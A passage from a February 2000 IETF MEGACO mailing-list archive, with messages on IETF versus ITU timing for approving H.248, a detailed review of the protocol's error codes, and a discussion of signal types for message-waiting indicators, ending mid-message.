Date:         Fri, 11 Feb 2000 12:08:32 -0500
Reply-To: Scott Bradner 
Sender: "Media Gateway Control (megaco)"
              
From: Scott Bradner 
Subject:      Re: H.248 Activity
X-To:         brosen@FORE.COM, matt@ascend.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> next version of the protocol for the ITU or Draft Standard phase
> for the IETF.

nit - revisions of any significance cause IETF documents to get republished
at the same level (re-cycle at proposed)

Scott


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 12:14:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14833
	for ; Fri, 11 Feb 2000 12:13:55 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FABDCBE0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:10:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41692 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:09:22 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.6F297C60@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:59:22
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id MAA12734; Fri, 11 Feb
          2000 12:01:47 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id MAA02798; Fri, 11 Feb
          2000 12:01:50 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL70WP>; Fri, 11 Feb 2000 11:58:23 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208934@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 12:01:47 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Michael Thomas 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I would have liked the issues brought up promptly after
Washington, a draft issued before the end of the year,
and last call issued two weeks into January.  Water under
the dam.

The rest I agree with.  There is no point in deciding anything
out of Geneva.  After Last Call, it should be stable enough to
do so, but it isn't now.

Brian

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Friday, February 11, 2000 11:54 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: H.248 Activity
>
>
> Rosen, Brian writes:
>  > There is no end of gaming - i.e.. using one or another of the IETF
>  > and ITU processes to get what you want, going on at this time.
>  > Raising issues at the Geneva meeting is an example, but so is
>  > dumping a large number of issues on the list just before last call.
>
> I'm puzzled here: when would you have wanted those
> issues to be brought up? Considering there were at
> least a dozen issues out of DC which were being
> coalesced into v13, v14, and v15 when, exactly,
> would you have people comment on what the editor
> and chair decided was "rough consensus" on the
> list? We're not mind readers, after all, and it's
> certainly not unheard of that one person's idea of
> consensus doesn't match anothers when assembling
> the document. Given the number of issues, it was
> very difficult to keep track of even a subset, let
> alone every one of them.
>
>  > In my PERSONAL opinion, the IETF process must complete, and then
>  > the ITU process must accept the result.  There is no other way
>  > to allow all participants to participate in the result.  The ITU
>  > process is hampered by the ability of the people attending
> meetings to
>  > affect the outcome whatever people not in the meeting think.
>
> In my opinion, this would be the result if the ITU
> process runs the way that it is supposed to run in
> theory -- or at least close anyway. If the IETF
> last call, proposed standard, etc mechanism
> yielded a document which was stable (which seems
> pretty likely), there would be no pressure to make
> sweeping changes between the ITU white paper and
> the decision process.
>
> I am at a complete loss as to what people think
> they have to gain by deciding H.248 in Geneva now;
> it's got an ITU name, in the next while it will
> move to proposed standard in IETF, etc. It's not
> like anybody is being impeded to actually *build*
> H.248 MGC's and MG's. On the other hand, deciding
> H.248 now carries a *huge* risk that whatever is
> decided will be cast in stone, and any unfortunate
> mistakes must be kept backward compatible for time
> immemorial -- with no implementation bakeoffs, etc
> to figure out where we've made boneheaded
> mistakes. This is arguably a deficiency of the ITU
> process, but that *is* their process for better or
> worse.
>
> Are the politics of getting a document rubber
> stamped by the ITU really greater than the need
> for a stable and workable protocol? A protocol
> which collapses under its own weight due to a mad
> rush to get something out because of somebody's
> short term strategic marketing needs would not be
> in *anybody's* interest. Not even Cisco's, since
> we have a long reputation of being technology
> agnostic -- which means that we have to live with
> the result just like everybody else.
>
>               Mike
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 12:19:56 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15027
	for ; Fri, 11 Feb 2000 12:19:49 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D48F0EB0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:16:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41852 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:14:38 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.90BFE560@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:14:37
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id JAA05495; Fri, 11 Feb 2000 09:10:55 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 11 Feb 2000 17:17:09 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id JAA00497; Fri, 11 Feb 2000 09:17:08
          -0800 (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000211091200.00ae1bc0@porky>
Date:         Fri, 11 Feb 2000 09:14:27 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: H.248 Activity
X-To:         Scott Bradner 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <200002111708.MAA06280@newdev.harvard.edu>

At 12:08 PM 2/11/00 -0500, Scott Bradner wrote:
> > next version of the protocol for the ITU or Draft Standard phase
> > for the IETF.
>
>nit - revisions of any significance cause IETF documents to get republished
>at the same level (re-cycle at proposed)
>
>Scott

Thanks for the nit. I would hope that any future changes to
MEGACO/H.248 result in fine-tuning rather than significant
changes. But point noted.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 12:43:05 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15662
	for ; Fri, 11 Feb 2000 12:42:56 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0E857020@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:39:37 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41929 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:38:06 -0500
Received: from mail-dns1-nj.dialogic.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.D69389E0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:38:03
          -0500
Received: from mail4.dialogic.com (mail4.dialogic.com [146.152.6.40]) by
          mail-dns1-nj.dialogic.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.11
          1999/11/10 17:27:15 spurcell Exp $) with ESMTP id RAA11076 for
          ; Fri, 11 Feb 2000 17:41:40 GMT
Received: from exchange3nj.dialogic.com (mailnj.dialogic.com [146.152.3.18]) by
          mail4.dialogic.com (PMDF V5.2-31 #40816) with ESMTP id
          <0FPS0025H13CPF@mail4.dialogic.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:40:24 -0500
          (EST)
Received: by mailnj.dialogic.com with Internet Mail Service (5.5.2650.21) id
          <1SX3LH5L>; Fri, 11 Feb 2000 12:37:55 -0500
Content-return: allowed
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Message-ID:  
Date:         Fri, 11 Feb 2000 12:37:59 -0500
Reply-To: "Rupsis, Paul" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rupsis, Paul" 
Subject:      Re: Errors and Error Codes
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

> C. Errors Defined In Packages
>
> We agreed with the Cisco proposal that it be possible to define error
codes
> in packages.  This would just be a matter of documentation convenience --
> the codes would NOT be qualified by package name, and the package
> documentation would serve double duty as far as IANA registration is
> concerned.  IMHO this means no change to our existing section 12 except
> perhaps to mention this possibility in the packages section.  Assignment
of
> codes would follow the usual rules: 000-999 range for ITU/IETF codes, 1000
> -9999 for private packages.


Granted, 10,000 error codes are a lot, but across how many packages?
What is the downside of qualifying error codes by package name thus
guaranteeing that each package developer has an available, known, and
fixed error code space prior to IANA registration?

Otherwise, I foresee packages being defined with alternative approaches to
returning errors. For example, the advanced audio package submission,
draft-cromwell-megaco-advanced-audio-pkg-00.txt, didn't define any error
codes but created an Audio Operation Failed event with a return code
as a parameter in the ObservedEvents Descriptor.

Error detection can always be defined as an event within a package.

Paul Rupsis
Dialogic, an Intel Company



-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Friday, February 11, 2000 6:41 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Errors and Error Codes


This E-mail covers several topics dealing with error reporting.

A. Asynchronous Error Reporting
========================

We have discussed, here in Geneva, a mechanism for generating spontaneous
notifications of error conditions (i.e. use of the "cause" event in the
generic package).  The suggested mechanism is this:

  -- we reserve a block of event request-IDs (e.g. 0-15) for assignment to
classes of event the MGC will always want enabled (or alternatively can
enable or disable using a Root property).  As an example of use, we assign
requestID 0 to spontaneous error reports.  This way it won't be necessary to
include the cause event in every Event Descriptor

  -- rather than making errorDescriptor an optional component of the Notify
command (as our ABNF now states), we make it a parameter of the cause event.

  -- this mechanism allows the inclusion of some error codes in our list in
section 7.3 which otherwise shouldn't be there because they would not result
from transaction processing.  One example is 518 "event buffer full".

B. Errors In Transaction Reply

I'm not sure we have a procedure for handling errors in Transaction Reply.
Unless someone can point me to the existing text, we should add something to
cover the situation.



D. Review Of Error Codes

I have reviewed the error codes in the current document, and have compiled
explanations for a number of them.  Others I can't explain, and suspect they
shouldn't be there.  I would like other people to review my findings so we
can get this straightened out.  In what follows, errors marked with an
asterisk could be returned against transaction replies as well as
transaction requests.  My comments are enclosed in square brackets.  I
present no explanations for error codes which seem to be adequately
described by the text shown against them in 7.3.

Could someone explain the logic behind the assignment of these codes?  Why
start at 400? -- our numbering space is only 000 to 999 and it doesn't seem
right to waste half of it.

*400 - Bad Request
        A syntax error has been detected at the message level.  The message
does not conform to the productions MegacoMessage or Message in Annex A or
Annex B as applicable.

*401 - Protocol Error
        A violation of Megaco protocol procedures has been detected.  Use
error codes corresponding to more specific conditions if they apply.  [e.g.
465, 466, 467 if they turn out to be justified; 505, 521.]

402 - Unauthorized
        The originator of a command is not authorized to execute that
command for the termination(s) affected by it.  [For messages failing
authentication, what is our procedure? ]

403 - Syntax Error in Transaction
        The form of a transaction request failed to match production
transactionRequest in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.  [Note: review codes proposed in sec. 8.2.2.]

*404 - Syntax Error in TransactionReply
        The form of a transaction reply failed to match production
transactionReply in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.

*405 - Syntax Error in TransactionPending
        The form of a transaction pending failed to match production
transactionPending in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.

*406 - Version Not Supported
        Used by the receiver of a transaction request to indicate lack of
support for the protocol version indicated in the message header.  [Note
usage in sec. 11.3 -- I think there is an error in the second para last
sentence (should be MG, not MGC)]

*410 - Incorrect identifier
        A syntax error has been found in an mId, transactionId, contextId,
terminationId, PropertyId, EventId, SignalId, StatisticsId or ParameterId.

411 - The transaction refers to an unknown ContextId
        A specific contextID provided in a Transaction Request is unknown to
the respondent.  For unknown contextID in Transaction Reply use error code
46x "ContextIDs in Reply do not match Request" [which isn't currently
defined -- could change 461].

412 - No ContextIDs available
        The MG is unable to create a new context in response to an Add or
Move command with CHOOSE given as the contextId, because of a shortage of
software or hardware resources within the MG.

421 - Unknown action or illegal combination of actions
        [Can't happen -- actions don't have tags or semantics in
themselves.]

*422 - Syntax Error in Action
        The syntax of an Action did not conform to production actionRequest
or actionReply as applicable.  Use error code 405 or 406 as applicable if
parsing failed to delineate the end of the Action.
        [Check usage in 8.2.2]

430 - Unknown TerminationID
        A specific terminationID provided in a Transaction Request is
unknown to the responder.  For unknow terminationIDs in Transaction Replies
use error code 463.

431 - No TerminationID matched a wildcard
         The Transaction Request specified a TerminationID including both
specific content and one or more wildcards (ALL or CHOOSE), but the
responder could not find an existing termination or, because of internal
naming constraints, create a new termination matching the specified pattern.

432 - Out of TerminationIDs or No TerminationID available
        The MG was unable to allocate a new terminationID in response to an
Add command specifying a CHOOSE termination identifier, because it has
exhausted the applicable local name space or some other per-termination
resource.

433 - TerminationID is already in a Context
        A TerminationID specified in an Add command already exists within an
active context.

440 - Unsupported or unknown Package
        The package named in a Property, Event, Signal, or Statistic
identifier is not supported by the respondent.

441 - Missing RemoteDescriptor
        The MGC has attempted to set the Mode of a stream on a termination
to SendOnly or SendReceive but an inadeqate or no outgoing media
specification has been provided in a Remote Descriptor for that stream.
[Note: same thing can apply to Local/incoming flows.  Generalize this error
to "Attempt to activate underspecified flow"?]

*442 - Syntax Error in Command
        A command request has failed to match the syntax of the
commandRequest production, or a command reply in a transaction response has
failed to match the syntax of the CommandReply (Annex A) or commandReplys
(Annex B) production, as applicable. Use the 422 error code if parsing
failed to delineate the end of the command request or command reply.  [Check
use in sec. 8.2.2.]

443 - Unsupported or Unknown Command
        The respondent to a Transaction Request successfully parsed a
command to the point of delineating the command type, but does not recognize
or support the command type.  Use the 442 error code if the respondent
failed to delineate the command type.

*444 - Unsupported or Unknown Descriptor
        A  command request or command reply was successfully parsed to the
point of delineating the type of a descriptor, but the descriptor type is
not recognized or supported.  The 442 error code should be used if parsing
failed to delineate the end of the descriptor, the descriptor type, or
individual properties, parameters, or values within the descriptor.

*445 - Unsupported or Unknown Property
        [Redundant -- use 450]

*446 - Unsupported or Unknown Parameter

*447 - Descriptor not legal in this command

*448 - Descriptor appears twice in a command

*450 - No such property in this package
        The Property Name (Annex A) or ItemID (Annex B) of a property within
a descriptor is either unsupported or unrecognized.  Use error code 440 if
the Package Name associated with the property is unrecognized.

*451 - No such event in this package
        This could apply to a reply for the AuditValue command as well as
the more common case of faulty EventDescriptors in other commands.  Use
error code 440 if the Package Name associated with the event is
unrecognized.

*452 - No such signal in this package
        This could apply to a reply for the AuditValue command as well as
the more common case of faulty SignalsDescriptors in other commands.  Use
error code 440 if the Package Name associated with the signal is
unrecognized.

*453 - No such statistic in this package
        Use error code 440 if the Package Name associated with the statistic
is unrecognized.

*454 - No such parameter value in this package
        The value given for a parameter is not legal for the package to
which the parameter belongs.  Use error code 450 if the type as opposed to
the value of the parameter is illegal.

*455 - Parameter illegal in this Descriptor

*456 - Parameter or Property appears twice in this Descriptor

*461 - TransactionIDs in Reply do not match Request
[Can't be detected.  Should be ContextIDs rather than TransactionIDs.  See
comment on 411]

*462 - Commands in Transaction Reply do not match commands in request

*463 - TerminationID of Transaction Reply does not match  request
[Should be phrased similarly to 462]

*464 - Missing reply in Transaction Reply
        [Assuming 461 is changed to ContextIDs and given 462, this one is
redundant]

*465 - TransactionID in Transaction Pending does not match any open request
[Unusable -- contrary to procedures in D.1.4]

466 - Illegal Duplicate Transaction Request
[Unusable -- contrary to procedures in 8.2.3]

*467 - Illegal Duplicate Transaction Reply
[Unusable -- contrary to Annex D procedures?]

471 - Implied Add for Multiplex failure
        A termination listed within a multiplex descriptor could not be
added to the current context.  If the reason is because the termination is
already in a different active context, use error code 433.

500 - Internal Gateway Error
        A command could not be executed properly due to a software failure
within the MG.  For hardware failures, see error code 529.

501 - Not Implemented
        [Redundant??? (Codes 443-446)]

502 - Not ready
        The respondent is temporarily unable to process requests because of
its own internal state.

503 - Service Unavailable
        [What service???  Likely conditions are covered by other error
codes]

504 - Command Received from unauthorized entity
        [Redundant -- covered by 402?]

505 - Command Received before Restart Response
        Issued by the MG which has issued a ServiceChange request to an MGC
if it receives a transaction request from that MGC before it has processed
the response to the ServiceChange request.  See procedural notes in section
11.2.

510 - Insufficient resources
        The MG is unable to execute a command because of a lack of resources
within the MG.

512 - Media Gateway unequipped to detect requested Event
        Self-descriptive.  If the MG does not support the package in which
the event is specified, use code 440.

513 - Media Gateway unequipped to generate requested Signals
        Self-descriptive.  If the MG does not support the package in which
the signal is specified, use code 440.

514 - Media Gateway cannot send the specified announcement
        [Package specific -- should be documented in the announcement
package]

515 - Unsupported Media Type
        [Might want to make it "Unsupported media type or media conversion"
]

517 - Unsupported or invalid mode
        [Too detailed.  Need a general "Unsupported or invalid value" }

518 - Event buffer full
        Reported via the Notify command using the Cause event in the Generic
package.  See procedures in section 7.2.7 [to be added as noted at the start
of this E-mail]

519 - Out of space to store digit map

520 - Media Gateway does not have a digit map
        The digit map named in a command is not specified.  [Probably want
to change to "Digit Map undefined"]

521 - Termination is "ServiceChangeing"
        [Inapplicable if we get rid of Graceful ServiceChange for
terminations.]

526 - Insufficient bandwidth
        The MG was unable to execute a command because of insufficient
resources at the network interface or externally to the MG.

529 - Internal hardware failure
        A command could not be executed properly due to a hardware failure
within the MG.

530 - Temporary Network failure
        The MG was unable to execute a command because of a network failure
of unspecified but temporary nature affecting the termination concerned.  If
the failure renders an existing termination unavailable for service, the MG
should follow up by issuing a ServiceChange on the termination to indicate
its unavailability.

531 - Permanent Network failure
        The MG was unable to execute a command because of a network failure
of unspecified and persistent nature affecting the termination concerned.
If the failure renders an existing termination unavailable for service, the
MG should follow up by issuing a ServiceChange on the termination to
indicate its unavailability.

581 - Does Not Exist
        [Covered by more specific errors (e.g. 411, 430)]


Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:05:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16039
	for ; Fri, 11 Feb 2000 13:05:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.23494420@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:01:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41968 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:00:03 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.E924C670@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          13:00:03 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA23618; Fri, 11 Feb 2000 19:02:34 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA28613;
          Fri, 11 Feb 2000 19:02:33 +0100
Received: from ericsson.com (arbru3m06.ericsson.se [164.48.163.7]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          TAA15011; Fri, 11 Feb 2000 19:02:23 +0100 (MET)
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208934@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by elb4.al.edt.ericsson.se
                      id TAA15011
Message-ID:  <38A44E84.F7B303FA@ericsson.com>
Date:         Fri, 11 Feb 2000 19:01:40 +0100
Reply-To: Stephen Terrill 
Sender: "Media Gateway Control (megaco)"
              
From: Stephen Terrill 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA16039

Hi Brian,

My concern is quite simple (and is alone the lines of what Matt Holdrige mentioned), if there is not a stable version very soon, there are other organisations (which have a need of this type of protocol) will develope their own version of the protocol as their own time table will not be met (this is used only as part of the entire system).  This will happen if there is not an indication of stablity in a short time.

I have seen that in the last couple of weeks a flourish of increased activity on the list, which sometimes makes me feel like this is going in circles.  I am not clear how this is to converge when we don´t put a stake in the ground and say "this is MEGACO".  The last call is no longer an indication to me (re SIGTRAN) and it was pointed out by Scott that RFCs can be changed or "re-cycled" (making it difficult to work out what to reference and indicates further unstability).

If decsion was delayed, there isn´t another meeting where we can update this in ITU terms before the middle of the year, and even so, what is to say that the same won´t happen here (after all, 4 months ago, we had assumed that there woudn´t be anychange out of the last meeting).  This protocol has already been in devlopement of over 16 months - too long for protocol development these days.

We have to go with the original plan and decide now.  I am somewhat suprised that this wasn´t even an issue until this thread was started, even though this has been in the planning since the Redbank meeting.

Regards,

..//Steve

PS After all the effert by a large number of people, I am rather dissapointed to find myself having to make these comments.

Rosen, Brian wrote:

> I would have liked the issues brought up promptly after
> Washington, a draft issued before the end of the year,
> and last call issued two weeks into January.  Water under
> the dam.
>
> The rest I agree with.  There is no point in deciding anything
> out of Geneva.  After Last Call, it should be stable enough to
> do so, but it isn't now.
>
> Brian
>
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@cisco.com]
> > Sent: Friday, February 11, 2000 11:54 AM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: H.248 Activity
> >
> >
> > Rosen, Brian writes:
> >  > There is no end of gaming - i.e.. using one or another of the IETF
> >  > and ITU processes to get what you want, going on at this time.
> >  > Raising issues at the Geneva meeting is an example, but so is
> >  > dumping a large number of issues on the list just before last call.
> >
> > I'm puzzled here: when would you have wanted those
> > issues to be brought up? Considering there were at
> > least a dozen issues out of DC which were being
> > coalesced into v13, v14, and v15 when, exactly,
> > would you have people comment on what the editor
> > and chair decided was "rough consensus" on the
> > list? We're not mind readers, after all, and it's
> > certainly not unheard of that one person's idea of
> > consensus doesn't match anothers when assembling
> > the document. Given the number of issues, it was
> > very difficult to keep track of even a subset, let
> > alone every one of them.
> >
> >  > In my PERSONAL opinion, the IETF process must complete, and then
> >  > the ITU process must accept the result.  There is no other way
> >  > to allow all participants to participate in the result.  The ITU
> >  > process is hampered by the ability of the people attending
> > meetings to
> >  > affect the outcome whatever people not in the meeting think.
> >
> > In my opinion, this would be the result if the ITU
> > process runs the way that it is supposed to run in
> > theory -- or at least close anyway. If the IETF
> > last call, proposed standard, etc mechanism
> > yielded a document which was stable (which seems
> > pretty likely), there would be no pressure to make
> > sweeping changes between the ITU white paper and
> > the decision process.
> >
> > I am at a complete loss as to what people think
> > they have to gain by deciding H.248 in Geneva now;
> > it's got an ITU name, in the next while it will
> > move to proposed standard in IETF, etc. It's not
> > like anybody is being impeded to actually *build*
> > H.248 MGC's and MG's. On the other hand, deciding
> > H.248 now carries a *huge* risk that whatever is
> > decided will be cast in stone, and any unfortunate
> > mistakes must be kept backward compatible for time
> > immemorial -- with no implementation bakeoffs, etc
> > to figure out where we've made boneheaded
> > mistakes. This is arguably a deficiency of the ITU
> > process, but that *is* their process for better or
> > worse.
> >
> > Are the politics of getting a document rubber
> > stamped by the ITU really greater than the need
> > for a stable and workable protocol? A protocol
> > which collapses under its own weight due to a mad
> > rush to get something out because of somebody's
> > short term strategic marketing needs would not be
> > in *anybody's* interest. Not even Cisco's, since
> > we have a long reputation of being technology
> > agnostic -- which means that we have to live with
> > the result just like everybody else.
> >
> >               Mike
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 13:17:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16298
	for ; Fri, 11 Feb 2000 13:17:37 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D1F9EB40@standards.nortelnetworks.com>; Fri, 11 Feb 2000 13:13:43 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41977 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 13:12:39 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.4654F9F0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          13:02:39 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA24053; Fri, 11 Feb 2000 19:05:11 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA28650;
          Fri, 11 Feb 2000 19:05:10 +0100
Received: from ericsson.com ([146.11.7.133]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA15021; Fri, 11 Feb 2000
          19:05:00 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
            <38A30216.134B17A3@ericsson.com>
            <38A31D6C.C22C7570@worldnet.att.net>
            <38A33893.58078E8B@ericsson.com>
            <38A41758.79DF8594@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A44F50.F61B1AD7@ericsson.com>
Date:         Fri, 11 Feb 2000 19:05:04 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Flemming,

Please see my comments below [CHG].

Cheers,Christian

Flemming Andreasen wrote:
>
> Christian Groves wrote:
>
> > G'Day Flemming,
> >
> > I see OO events as being more for tones or situations where the MG is
> > continuously supplying a current (sorry for bringing HW into things).
>
> No problem :-)
>
> >
> > ie. ring tone continuously supplies a ringing current. For a VisualMWI
> > indicator what you are doing is instantaneous. ie. a function call to
> > move pixels on a screen. You don't keep calling the function to keep it
> > on the display. You call another function to remove the visual
> > indication. I think this is more suited to BR.
> >
> > As you say this is a matter of taste. I believe this is a clean
> > distinction.
>
> At first, that seemed OK to me, under the assumption that semantically your two BR signals would be
> equivalent to my one OO. Looking a little closer at it, I'm not sure they are after all (see below)..
>
> >
> >
> > Given the following matrix I believe you need to be able to for signal
> > behaviour. To me these are valid operations.
> >                         Interupt     Non-interrupt
> > Play once                  1               2
> > Play for a time            3               4
> > Play until turned off      5               6
>
> Based on your comment below, I take it the interrupt part means whether the signal is interrupted by a
> SignalsDescriptor. I think that still leaves the "interrupted by event" part open. Let's say I define a
> vmvi_on and and a vmwi_off signal (of type BR, i.e.play once) which effectively sends out the FSK
> sequence needed to turn the light on or off. Now, as was noted by somebody earlier, you only send this
> sequence if the phone is on-hook. So when I apply this signal, it's possible that it either succeeds or
> fails because of hook-state.
[CHG] I think this is the wrong assumption. I hope you program your
application to only send a signal when the phone is off-hook. Sending a
signal when off hook is an application error. These types of things are
function interactions and not hardware dependencies.

> Somehow, I need to know what the outcome was, if I use the two BR signals.
[CHG] I don't see why????

> If I instead took a higher level view where I effectively tell the MG that "I just want this light
> turned on" (or off), and let the underlying implementation of that signal do what is has to do to
> achieve that (i.e. transmit the FSK sequence or wait/try again when the phone goes on-hook), I don't
